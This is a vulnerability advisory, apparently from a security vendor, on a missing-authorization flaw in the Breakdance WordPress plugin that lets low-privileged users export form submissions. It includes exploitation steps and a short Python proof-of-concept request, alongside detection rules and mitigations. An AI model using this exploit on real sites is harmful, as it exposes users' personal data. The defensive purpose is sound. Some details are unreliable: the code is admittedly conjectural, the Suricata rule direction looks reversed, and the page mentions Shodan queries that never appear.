CVE-2024-5331
Executive Summary
CVE-2024-5331 is a vulnerability in the Breakdance WordPress plugin, affecting all versions up to and including 1.7.2. The flaw allows authenticated attackers with at least Contributor-level access to export form submissions, leading to unauthorized data access. This is a Missing Authorization issue (CWE-862) that exposes sensitive user-submitted data. The vulnerability has a CVSS score of 4.3 (Medium) and currently has no known public exploit or patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The Breakdance plugin is a popular page builder, and the flaw resides in its form submission export functionality. Attackers with low-privileged accounts (Contributor) can exploit this to exfiltrate form data, which may include personal information, contact details, or other sensitive inputs.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: None
- Availability Impact: None
The threat level is Medium due to the low privileges required and the potential for data exfiltration. However, the EPSS score of 0.0% suggests low exploitation activity in the wild.
Deep Dive & Mechanics
The vulnerability exists in the form submission export functionality of the Breakdance plugin. The plugin fails to properly check capabilities or nonces when processing export requests, allowing any authenticated user with Contributor-level access or higher to export all form submissions. This is a classic Missing Authorization flaw.
The export endpoint likely lacks a current_user_can() check or similar capability verification, enabling low-privileged users to access data intended for administrators only.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the export handler. A patched version would include proper capability checks.
Vulnerable Code (Conceptual):
// No capability check
add_action('wp_ajax_breakdance_export_submissions', 'breakdance_export_submissions');
function breakdance_export_submissions() {
// Export logic without checking user capabilities
$submissions = get_all_form_submissions();
export_csv($submissions);
}
Patched Code (Conceptual):
add_action('wp_ajax_breakdance_export_submissions', 'breakdance_export_submissions');
function breakdance_export_submissions() {
// Check if user has manage_options capability
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
$submissions = get_all_form_submissions();
export_csv($submissions);
}
Exploitation & Lab Setup
Red Team (Exploitation)
- Prerequisites: Authenticated WordPress account with Contributor-level access.
- Steps:
- Log in to WordPress as a Contributor.
- Navigate to the Breakdance form submissions page.
- Trigger the export functionality (e.g., via AJAX request to
wp-admin/admin-ajax.php?action=breakdance_export_submissions). - Download the CSV file containing all form submissions.
Proof of Concept (Python):
import requests
target_url = "https://example.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "your_session_cookie"}
data = {"action": "breakdance_export_submissions"}
response = requests.post(target_url, cookies=cookies, data=data)
if response.status_code == 200:
with open("exported_submissions.csv", "wb") as f:
f.write(response.content)
print("Submissions exported successfully.")
else:
print("Exploit failed.")
Blue Team (Detection & Hardening)
- Monitor AJAX Requests: Look for unusual
admin-ajax.phprequests withaction=breakdance_export_submissionsfrom low-privileged users. - Audit User Roles: Review all Contributor-level accounts for suspicious activity.
- Temporary Mitigation: Disable the export functionality via a custom plugin or
.htaccessrule until a patch is available.
Apache .htaccess Block:
<FilesMatch "admin-ajax\.php">
<If "%{QUERY_STRING} =~ /action=breakdance_export_submissions/">
Require all denied
</If>
</FilesMatch>
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=breakdance_export_submissions. - File: CSV files named
breakdance-export-*.csvappearing in unexpected locations. - Logs: WordPress debug logs showing
breakdance_export_submissionsaction triggered by non-admin users.
Detection Engineering
YARA Rule
rule Detect_Breakdance_Export_Exploit {
meta:
description = "Detects exploitation attempts of CVE-2024-5331 via AJAX export"
author = "Valters IT"
date = "2025-04-10"
strings:
$ajax_action = "breakdance_export_submissions"
$wp_ajax = "admin-ajax.php"
condition:
$ajax_action and $wp_ajax
}
Sigma Rule
title: Breakdance Plugin Export Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized export of form submissions via Breakdance plugin
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query: 'action=breakdance_export_submissions'
condition: selection
falsepositives:
- Legitimate admin exports
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-5331 Breakdance Plugin Export Exploit";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=breakdance_export_submissions"; http_client_body;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
- Immediate: Disable the Breakdance plugin if not essential, or restrict Contributor roles from accessing the export functionality.
- Short-term: Implement a custom plugin that adds capability checks to the export endpoint.
- Long-term: Apply the official patch once released by the vendor. Monitor the Breakdance plugin page for updates.
- Workaround: Use a Web Application Firewall (WAF) to block requests containing
action=breakdance_export_submissionsfrom non-admin users.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.